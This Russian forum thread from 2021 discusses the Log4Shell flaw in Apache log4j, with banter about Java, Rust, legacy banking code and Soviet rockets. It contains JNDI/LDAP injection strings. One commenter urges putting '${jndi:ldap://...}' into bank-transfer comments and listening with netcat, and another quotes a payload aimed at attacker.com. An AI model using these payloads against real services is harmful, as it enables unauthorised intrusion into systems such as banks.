URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 126102
[ Назад ]

Исходное сообщение
"Катастрофическая уязвимость в Apache log4j, затрагивающая многие Java-проекты"

Отправлено opennews , 10-Дек-21 09:23 
В Apache log4j, популярном фреймворке для организации ведения логов в Java-приложениях,...

Подробнее: https://www.opennet.me/opennews/art.shtml?num=56319


Содержание

Сообщения в этом обсуждении
"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 09:23 
«катастрофическая», лол

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 09:30 
Ну учитывая где используется Java и как там дела с обновлениями, то действительно все печально

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:06 
Не так давно пол-США сидели без бензина и мяса когда ломанули оператора трубопроводной сети и оператора сети мясокомбинатов. А на яве написано допупа бизнес-логики.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 11:10 
Для того чтобы понять почему катастрофическая запусти у себя netcat на порту 389, отправь на карту или счёт в другом банке любой перевод с  ${jndi:ldap://твой_IP/test} в комментарии и насладись сколько вего разного к тебе полезет :-)

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 11:39 
Главное чтобы маски-шоу из категории разного в дверь и окна не полезли.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 11:40 
Поэтому лучше IP конечно не свой :)

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 13:19 
И с чужого банковского счёта перевод делать, ага

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 11:53 
В банках доступ в интернет, да даже в соседний vlan закрыт. Так что ищите где-то еще.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 12:28 
И как вы online-банком если всё закрыто пользуйтесь? Только не говорите, что там исходящие соединения блокируются, это у единиц.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено пох. , 11-Дек-21 08:54 
Да нет, дол-еов тыщи же ж.
Вспоминая один из самых круто-обинтернетившихся в первых рядах Аван-гад 2010го примерно года розлива. Все ок, все пакеты кроме 443го tcp/established были заблокированы намертво. Все. Вообще все.

pmtud? Клиенты с pppoe у которых mtu не 1500 по всему линку ? Неееееа, не слышали!

А сделать ГРАМОТНО - это надо нанимать специалиста. Я ходил когда-то пособеседоваться. Мне сказали - "э... да я сам не знаю зачем тебе позвонил - нам такого не надо, нам бы попроще кого - ну там с ripe уметь переписываться и крошки со стола вытирать. А ты overqualified, иди найух."

Ну а иногда и специалист печально разводит руками, когда выясняется что госрегулятору надо нескучным restapi прямо на ходу что-то сливать и никак иначе. Причем то, куда сливать - в нескучном облачке мэйлcpy чтоб денег никому не платить. И где /18, в которой любой васян точно так же может поставить ханипот.

(тут тоже можно было бы побороться, но покажите мне банчок где ИБ может напрямую ставить задачи и менять ИТ проекты - "тут мы не нескучно дергаем libcurl, а разрабатываете отдельный прокси-сервер в отдельном изолированном сегменте, причем - с парсингом протокола а не безмозглым форвардом чего попало" - и приоритетнее чем задачи ставящиеся ошпаренными менеджерами по улучшайкингу)


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 27-Дек-21 02:13 
Чё за поток сознания лол, иди таблеточки пропей

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Антонио , 10-Дек-21 09:28 
Переполнение буфера, говорили они. Безопасность, говорили они. Позор и срамота.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено btrfs , 10-Дек-21 09:43 
Простите за моё невежество, но как связаны реализация в языке и нечто криво реализованное на этом языке?

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 09:49 
Есть свидетели того, которые утверждают, что если убрать риски работы с памятью, то всё само наладится, и даже кости выпрямятся.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:47 
Простите, но Вы звиздите. Никто из них не утверждал, что прям "всё само наладится". Исчезнут (почти) целые классы ошибок, коих большинство (70-80%), но логические ошибки в архитектуре системы или в реализации бизнес-логики никто не отменял - от прокладки зависит. Но Вы, конечно, припИшете оппонентам и поедание младенцев, хуже не будет, верно?

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 10:54 
Там даже обратный эффект, я бы сказал - понижается vulnerability awareness, со всеми вытекающими.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Michael Shigorin , 10-Дек-21 12:30 
> как связаны реализация в языке и нечто криво реализованное на этом языке?

Надежда на серебрянопульность инструмента склонна отключать рассудок с весьма печальными последствиями.  Варианты могут быть самыми разными -- от "возьмём язык с автоматическим управлением памятью" до "попрыгаем на площади и покричим" или классического "построим соломенный самолёт", что характерно.


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено ыы , 10-Дек-21 16:40 
Любите вы Миша обобщать, и делать выводы космического масштаба.. а сами все лето в свитере проходили...

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено n00by , 10-Дек-21 17:47 
Эту пулю ещё Фредерик Брукс в 1986-м обобщил.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 18:06 
Им читать некогде - видеокурсы же есть

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 13:31 
Раньше надо было срывать стек, писать шелл-код на ассемблере, не ошибиться с адресами на удалённой машине. А теперь процесс-жертва услужливо подтянет Java байт-код атакующего прямо из Интернета и аккуратно вставит в себя, не нарушив целостность стека и процесса, автоматически проинициализирует твой код, будет за ним мусор собирать. Красота! :)

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено ыы , 10-Дек-21 16:42 
О дивный новый мир!

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 16:55 
Можно даже от смузи не отрываться, да, я тоже оценил.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено n00by , 10-Дек-21 17:13 
Раньше мистеры Буггерс и Хуккерс предупреждали, что все умеют компелировать сплоет, а над ними смеялись.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 13-Дек-21 22:20 
А ведь скоро придет время, когда они додумаются прикрутить продвинутый искусственный интеллект к очередной помойке для логов, и тогда пелевинские "зенитные кодексы" из фантастики превратяться в когнитивно диссонирующую реальность.
Истинно говорю вам! Так что покайтесь, пока еще не поздно...

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 09:30 
ага, спасибо. прямо вот только что проснулся и побежал патчить свои Apple iCloud - сервера

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено лютый жабби__ , 10-Дек-21 09:43 
бред какой-то... даже если торчит майнкрафт голой ж в инет, ну запишите в логгер произвольный текст, я посмотрю на ваши успехи )

"Надо срочно переписать на ржаву"

твои мозги )


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 09:45 
А то что почти все банки на Java? При чем там лютый legacy

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено лютый жабби__ , 10-Дек-21 10:04 
>При чем там лютый legacy

ты неправ. слышал, что у немцев можно 6-ку встретить, но в рф 8-11 уже почти везде. у всяких тупкофф-кредитно-пельменные-системы 17 + коклины, скалы, го и прочая смузибень ) уж версию log4j бампнуть не проблема.... хотя для типичного
e.printStackTrace();
данная "уязвимость" имхо неуязвима


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 10:43 
Там легаси проприетарь, которая возможно уже местами просто не поддерживается, но сертифицировать новую версию ДОРОГО(tm). И бампнуть там ничего не получится либо потому что все версии библиотек тоже прибиты гвоздями по сертификации, либо потому, что API сменилось 100500 лет назад тому, и говно мамонта просто развалится.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено лютый жабби__ , 10-Дек-21 12:59 
>Там легаси проприетарь, которая возможно уже местами просто не поддерживается, но сертифицировать новую версию ДОРОГО

в УдмуртСельхозБанке разве только... )


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено йо , 10-Дек-21 10:38 
Неправда, некоторые банки ещё на COBOL, и планируют перейти на модно-молодёжную Java.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено OramahMaalhur , 10-Дек-21 13:30 
log4j2 != log4j

Лютое легаси - это про log4j. Если притащили log4j2 , значит, сравнительно недавно (по меркам легаси) разрабатывали.


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено BratishkaErik , 10-Дек-21 10:29 
Написал в чате > записало в логи > взлом

Проголосовал на мониторинге с NuVotifier > записало в логи > взлом


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено ыы , 10-Дек-21 16:44 
>Написал в чате > записало в логи > взлом

Вот и состав преступления...


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 09:51 
Но как же ж так? Ведь жаба же ж - безопастная?!


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним12345 , 10-Дек-21 10:01 
Ни разу не безопасная

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:52 
Шо, и указатели можно?

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено aa , 10-Дек-21 11:43 
учитывая что любой объект в джаве - это указатель, то в джаве указатели не просто можно , а прям необходимо.
вот арифметики указателей нету, поэтому обратиться куда-то по левому адресу сложно.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено лютый жабби__ , 10-Дек-21 12:14 
>указатели можно?

можно конечно, смотря что. а ещё можно утечки памяти нагомнокодить, которые GC не сможет разгрести.


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено barracuda92 , 10-Дек-21 21:49 
у нас индусы написали автотесты в которых была статичная мапа в который все контексты валялись, все хедлесс браузеры, всё-всё в общем, при выделении 8 гб на тесты они падали с аут оф мемори))

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено лютый жабби__ , 11-Дек-21 11:49 
>при выделении 8 гб на тесты они падали с аут оф мемори

дедики с 64ГБ стоят 3 тыра в месяц. я б не работал в такой помойке, где раму жмотят )

а вчерашний студент после  курсов стоит 150+ тыр (плюсом налоги)


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Наме , 13-Дек-21 11:45 
Жаба саморефлексаная и полностью динамическая. Так что, можно, в общем-то, всё. Правда, пальцы сотрутся и глаза коростой покроются.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Котофалк , 10-Дек-21 10:35 
Скилл написать небезопасно на каком угодно языке позволяет это преодолеть. И не только это. Тут как нельзя кстати набор поговорок про сломать сдуру, про стеклянный до обеда и иже с ними.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено йо , 10-Дек-21 10:41 
Это не Ява, это log4j.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 10:47 
Который к сожалению в рот тащит каждый третий проект из двух.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 11:01 
Ну возьми самый безопасный язык (у тебя, как я смею предположить, основываясь на твоем творчество на опеннете, это сиплюсплюс со всякими модными  (условно) "умными указателями" и правильными техниками написания кода настоящими программистами?) и напиши на нем безусловную загрузку извне любой произвольной блобятины и ее последующий запуск и потом ори - "язык небезопасный, мне вирусятину тиснул!". А если каким-то чудом язык мог бы запретить такое делать, орал бы "что за 1С мне навязывают, на этом гогне ничего нетривиального нельзя сделать!"

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено n00by , 10-Дек-21 17:22 
> Ну возьми ...
> и напиши на нем безусловную загрузку извне любой произвольной блобятины
> ее последующий запуск

Изучите тему и не пишите подобное. Задача не решается в общем виде.


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено d , 10-Дек-21 10:00 
Давайте все усложним, что бы потом все упростить сложными путями.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Michael Shigorin , 10-Дек-21 12:37 
ls /
!

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 22:32 
Есть мнение, что для отдельно взятой задачи сложность постоянна. Вопрос лишь в том, где она сконцентирирована - в твоём коде или в сторонних компонентах.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним12345 , 10-Дек-21 10:00 
>> Возвращённый сервером атакующего путь будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.

Это действительно катастрофа
С системой можно делать все что угодно
Жаба, господа, та самая проприетарная жаба


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Bogdan , 10-Дек-21 18:29 
Она как бы опенсорс, господин. Ну и причем тут язык и платформа, если дело в либе, уже давно log4j - это легаси, то что некоторым лень уменьшит тех. долг - не проблема платформы

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:09 
Да весь код на яве такой дырявый. Чтобы передать стрингу или простейший boolean сразу используют RPC с уродским RMI

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Bogdan , 10-Дек-21 18:31 
Где вы такое последний раз видели ? И звучит странно "Что бы пкередать стрингу...." - в коком это контексте ? Куда передать ? RPC - это как бы не java-вая фигня

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено BratishkaErik , 10-Дек-21 10:09 
Ох, я не успел сделать новость... А вообще это круто — пусть люди поскорее узнают новость

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:11 
Jndi для лога это точно нужная фича которая должна быть включена у всех по умолчанию? Может быть нафиг её?
И вообще сетевые запросы отправлять в логе не выглядит безопасно.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 10:57 
Бездумный eval (а это по сути своей eval) в генерируемом обычно с использованием пользовательского ввода логе - это особый уровень пох**зма, который, надо сказать, очень сложно будет переплюнуть.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено aa , 10-Дек-21 11:52 
Выполнять логи - это конечно крипота та еще, но, я так понимаю, это ради производительности - если передавать уже готовое значение в логи, то его надо обязательно вычислить перед этим (а значит обратиться к этому лдапу, что-то передать, потом распарсить ответ итд), а логгер после этого может просто выбросить это значение, потому что уровень логгирования не тот.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено OramahMaalhur , 10-Дек-21 13:35 
>а логгер после этого может просто выбросить это значение, потому что уровень логгирования не тот

logger.isInfoEnabled()


"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено а , 11-Дек-21 15:26 
если всё руками делать, то можно и на С писать.
а тут можно просто сказать логгеру - "если что запиши значение вон оттудава", ничего не проверяя и не вычисляя
Л - удобство

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Аноним , 13-Дек-21 05:21 
При необходимости передавать в логгер помимо строки раннер для нужных запросов (попросту колбэк), который максимум вернёт мап с параметрами, которые нужно в плейсхолдеры подставить. Тогда логгер сможет сам решить — нужно ему этот раннер дёргать или нет.

"Катастрофическая уязвимость в Apache log4j, затрагивающая мн..."
Отправлено Онаним , 14-Дек-21 07:18 
Как вариант. В PHP легко closure передать. В жабе не в курсе, далёк от.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:29 
log4net в безопасности?

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 10:31 
Кстати,поищите у себя в логах appdynamics. Эксплуатируемо или нет - не знаю, но им пользуется половина так называемого цивилизованного мира. Да, оно работает от рута.

Да, конечно же там log4j, где ж его теперь нет.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:31 
У меня вчера stream play на стиме сам без особой причины запустился. И начал двигать мышью и открыл виртуальную клаву Steam. у меня есть основания полагать что уже активно юзают это чудо.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено DEF , 10-Дек-21 10:35 
Блин. Мои хелловорлды юзают log4j2. Ждем фиксов!

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Онаним , 10-Дек-21 10:40 
>  "${jndi:ldap://attacker.com/a}", при обработке которой log4j отправит на сервер attacker.com LDAP-запрос пути к Java-классу

Макаки конечно везде одинаковые, да...
Это ж надо такую срань в систему логгирования воткнуть.
А вот просто ${var} и передачу var отдельно - ну никак было.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:49 
По непроверенным данным дыра проявляется в госуслугах и вёбинтерфейсах кучи крупных банков. Лично перепроверить не решился, так как за такую проверку и посадить могут.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 11:15 
> По непроверенным данным дыра проявляется в госуслугах и вёбинтерфейсах кучи крупных банков.

appdynamics, да.

Страховые из первой десятки туда же.

> Лично перепроверить не решился, так как за такую проверку и посадить могут.

так ты американские "проверяй". Там апдырявикс такой же точно стоит. И в банках, и в страховых, и вообще в любых околофинансовых пира...ой, организациях.
Что ты с таким умением и талантом забыл на г0вуслугах?


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноня , 11-Дек-21 12:34 
> так ты американские "проверяй"

А потом пожизненно прячься от выдачи в родных говеньях


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноня , 11-Дек-21 12:28 
Сбеги в Бриташку и оттуда проверяй.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 13-Дек-21 05:05 
Даже в Amazon S3 проявляется

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 10:51 
Типа безопасные языки. Надо было писать на Rust :)

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 11:16 
> Типа безопасные языки. Надо было писать на Rust :)

как, в нем нет eval?! Нельзя загрузить в процесс какой-нибудь неожиданный код из интересного источника? А если unsafe{} вокруг написать?


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено morphe , 10-Дек-21 13:16 
eval нет, а используемые большинством библиотеки для логгирования в ldap не стучат)
Да и не выйдет там так просто подобное сделать, инфраструктура форматирования там встроена в язык, а не реализуется всеми подряд, + для всяких сущностей есть вещи удобнее чем коды форматирования

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 13:21 
> eval нет, а используемые большинством библиотеки для логгирования в ldap не стучат)

тысячигласс проверял, зуб дает? А то большинство из нас полагаю о такой нужной и полезной фиче в log4j тоже до сегодняшнего дня имели щастье не знать.

> Да и не выйдет там так просто подобное сделать, инфраструктура форматирования там
> встроена в язык, а не реализуется всеми подряд, + для всяких

так там все правильно форматируется, встроенными в язык средствами. Правильная получается строка для правильного обращения к ldap, не какой-нибудь вам off by one error или обращение в левую память. Кто бы мог подумать да и было ли ему чем, что в логах могут попадаться абсолютно любые строки?


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено morphe , 10-Дек-21 14:41 
А в Rust даже нет смысла подобное делать

Зачем в жаве чтение из ldap пихнули в строку шаблона? Потому что иногда полезно в приложении работать с id сущностей, а в логи выводить читабельные названия
Чтение из ldap - дорогая операция, а строка в лог может даже не попасть, и код вида
debug("auth failed for user {}", ldap.get(userId))
Будет делать лишнее дорогое действие, в отличии от строки вида
debug("auth failed for user ${ldap://server/...{}...}", userId);

(Это объяснение не надуманное, они действительно так мотивируют поддержку LDAP в логгере)

В Rust же есть макросы, с которыми код вида
debug!("auth failed for {:?}", ldap.get(user_id).await)

Будет раскрыт в подобное:
if logger.is_debug() {
logger.debug(format!("auth failed for {:?}", ldap.get(user_id).await))
}

Ну и естесно логгеру ничего не нужно лениво исполнять


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 15:09 
весь прикол в том что оно вовсе не "userid" получало.
Оно получало КОД который исполняясь возвращал возможно вовсе не userid а результат общения в чате с этим пользователем техподдержки, ну, например. Ну почему бы и нет.

Если бы оно получало статические данные из ldap - никому бы никакого вреда от этого не было. В лог, недоступный извне, можно записать какие-то данные - доступные извне. Ну и что.

Как именно в хрусте можно вызвать КОД по ссылке на блок данных полученных хз откуда - это к знатокам хруста.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено morphe , 12-Дек-21 22:11 
> весь прикол в том что оно вовсе не "userid" получало.

Я привёл пример того, как эту фичу задумывалось использовать, эксплуатация выглядит уже конечно не так

И это тож самое, ldap тут просто как деталь реализации жава резолвинга, в ldap лежит ссылка на код, а жава этот код грузит и исполняет

> Как именно в хрусте можно вызвать КОД по ссылке на блок данных
> полученных хз откуда - это к знатокам хруста.

Сам Rust такой возможности не предоставляет, максимум возможно подгрузить платформозависимый шеллкод, подготовить для него память (RWX страницы создать, опять же платформозависимым кодом), записать в неё что скачано с сервера, и передать туда управление (Ну и естесно код каким то образом должен найти все нужные ему библиотечные вызовы)
Делается это не так просто как жава .class файлы динамически подгружает


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 15:29 
Так и на яве можно сделать то же самое. И вообще как уже сказали суть уязвимости не в этом.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Наме , 13-Дек-21 11:10 
Нефига не правильно. В ответ на JNDI-запрос исполняющий код не должен грузить классы. Это уж совсем трэшак. Очередное пюре в духе "а ведь было бы не плохо, чтобы кофеварка ещё и траву косила".

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 11:26 
Ага, язык, на котором ты напишешь систему управления атомным реактором, должен будет бить тебя по рукам, когда ты в неправильной последовательности кнопки в программе будешь нажимать. А также язык, а не математик/архитектор/программист, посредством заложенных алгоритмов, должен будет следить чтобы в космической ракете ориентация правильно вычислялась. Ну и язык конечно же, а не проектировщик системы при создании, должен следить, чтобы в будущем "умном" доильном аппарате корове сиську не оторвало. Как же вы, мелкие моськи, недалёки...

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 13:30 
Конечно, язык!

Сейчас так модно разрабатывать - ядерные реакторы, ракеты (особенно ракеты) и дро4ильные аппараты (хотя нет, там китаец на асме что-то накодил)

Потому что "время разработчиков" и все такое. Ты вот много вообще слышал о советских ракетах, бахнувших прямо на стартовой площадке, даже не подпрыгнув? при том что это заря космонавтики, и все, абсолютно все приходилось изобретать с нуля и придумывать самим, и не всегда с первого раза правильно. Кроме одного общеизвестного случая с человеческими жертвами, которые потому и случились, что никто на самом деле не предвидел и считал недопустимой такую безобразную аварию не на макете и не на стенде. А масковы поделки бахают через одну - и ничего. Просто все уже умные и от старта держатся подальше пока не догорит.

И это ничуть не считается проблемой - бахнула на посадке? Невиданный успех! (потому что было сто шансов из ста что бахнет еще на взлете) - см not-a-kernel-guy для примера.

Сколько стоит ремонт стола и новая бочка с керосином - никто не знает, деньги бесконечные. Время кодерков - ооооочень дорого.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Аноним , 10-Дек-21 15:12 
> Конечно, язык!

Пох, как всегда, передергиваешь. Язык не должен знать в какой последовательности у коровы соски дергать, в компиляторе или рантайме не должно быть абстракций про коровье вымя, они должны быть  только в голове у проектировщика. То же и про самописную (по отношению к языку) систему логгирования. Мог бы быть наполовину прав, если бы эта система была частью языкового рантайма/системной библиотеки.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 10-Дек-21 15:16 
>> Конечно, язык!
> Пох, как всегда, передергиваешь. Язык не должен знать в какой последовательности у
> коровы соски дергать, в компиляторе или рантайме не должно быть абстракций
> про коровье вымя, они должны быть  только в голове у
> проектировщика. То же и про самописную (по отношению к языку) систему
> логгирования. Мог бы быть наполовину прав, если бы эта система была
> частью языкового рантайма/системной библиотеки.

да-да, во всем виноват, помнити его - автор leftpad. Взял и сломал нам весь интернет. А не угребищный язык на котором логгер (или выравнивание пробелом) надо разрабатывать силами апач фаундейшн десять лет, иначе хрен запишешь строку в файл.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Онаним , 11-Дек-21 19:42 
Да тут не в языке дело.
Тут чтобы палку-копалку выстругать - изобрели бензопилу, и попытались с её помощью палку заточить.

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Онаним , 11-Дек-21 19:42 
Это где-то около надувания щёк - посмотрите, как мы можем.
Не зря же есть хорошая фраза из математической старины: "упрощать - сложнее всего".

"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено john_erohin , 11-Дек-21 13:10 
> все, абсолютно все приходилось изобретать с нуля

да ладно. это фон Браун с камрадами изобретали с нуля.
потом они в качестве трофеев достались. кому-то сам фон Браун,
а кому-то его камрады. железо и документы 50/50.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 11-Дек-21 13:32 
> да ладно. это фон Браун с камрадами изобретали с нуля.

ну так камрады и изобретали. Тов.Королев и другие ответственные товарищи - руководил.

Такого чтоб на старте рвануть даже еще до старта - себе не позволяли, инциденты на стендах и то были единичны и красной вехой в истори...в задницу впороты. Времена суровые были, партайгеноссе могли и в лагерь отправить, не умеешь проектировать с первого раза правильно - будешь напильником точить что другие напроектируют, а товарищи так и вовсе шлепнуть германского шпиена всегда готовы.

Ну и ресурсы надрывающейся промышленности берегли, конечно. А камрадов всегда можно новых нарожать.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Михрютка , 12-Дек-21 00:24 
будет врать-то.

союз на старте взрывался. протон на старте взрывался раз пять, не меньше.

как взрывалось на старте изделие 11А52, так это вообще словами не передать. Мишин после этого, говорят, год от Бармина прятался, тот ему пообещал за разнесенный фклочья стартовый комплекс морду набить.

янгелевские ракеты на испытаниях и на старте горели и в шахты падали.

>>>никто на самом деле не предвидел <...> такую безобразную аварию

не "не предвидел", а вывезли на старт недоработанную ракету. успеть к празднику торопились. "Результат немного предсказуем"


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено n00by , 12-Дек-21 12:38 
> не "не предвидел", а вывезли на старт недоработанную ракету. успеть к празднику
> торопились. "Результат немного предсказуем"

Приплетаю тот самый Линдукс. Тоже ведь торопились к праздничку. Интересно, где оно бабахнет?


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 13-Дек-21 08:35 
> Мишин после этого, говорят, год от Бармина прятался, тот ему пообещал
> за разнесенный фклочья стартовый комплекс морду набить.

А Маску - похрен, у него еще есть.  Бесконечные же ж...

>>>>никто на самом деле не предвидел <...> такую безобразную аварию
> не "не предвидел", а вывезли на старт недоработанную ракету. успеть к празднику
> торопились. "Результат немного предсказуем"

был бы он предсказуем - попрятались бы в бункер, а не расселись бы чинно на табуреточках. Не был он предсказуем, в том и дело.

Успеть к празднику означало работу круглые сутки без сна и выходных, а не что-то другое.
Варианты "давайте половину тестов не проводить, все равно нафиг не нужны" - это последних лет, с прогрессами и прочими детищами 90летних старцев, забывающих как их зовут и где кабинет.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Михрютка , 13-Дек-21 16:51 
вы что, знакомы с вопросом исключительно по пересказам товарища рабиновича?

>>>Успеть к празднику означало работу круглые сутки без сна и выходных, а не что-то другое.

успеть к празднику - означало "забьем на все существующие регламенты и требования безопасности, потому что иначе в гарантированные КБ 24 часа на старте в заправленном виде - ракету запустить невозможно, ее придется снимать со старта и готовить к пуску второй экземпляр, т.е. отложить пуск еще минимум на месяц"

>>>Варианты "давайте половину тестов не проводить, все равно нафиг не нужны" - это последних лет

вариант "испытания полностью не проходит, но мы все равно выкатим на старт" устроит?
вариант "вообще никаких испытаний операции не было, но мы все равно выкатим на старт" устроит?
это именно то, что произошло.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено пох. , 13-Дек-21 17:39 
Я знаком по пересказам людей, работавших в отрасли.

А вот у тебя очень похоже на напевы рабиновича, даже близко не бывавшего.


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
Отправлено Михрютка , 14-Дек-21 01:19 
а я, дяденька, просто кратко вам пересказал доклад близко не бывавших рабино^Wчленов комиссии ЦК в составе Брежнева, Гречко, Устинова, Сербина и др. они видимо написали полную фигню, да? а близко не бывавший Янгель с теми, кто уцелел после взрыва, еще и техническую фигню написали в приложении #1.

это уже лет двадцать как опубликовано, желающие могут почитать хоть вот тут например
https://rvsn.info/library/docs/doc_1_1113.html


"Катастрофическая уязвимость в Apache Log4j, затрагивающая мн..."
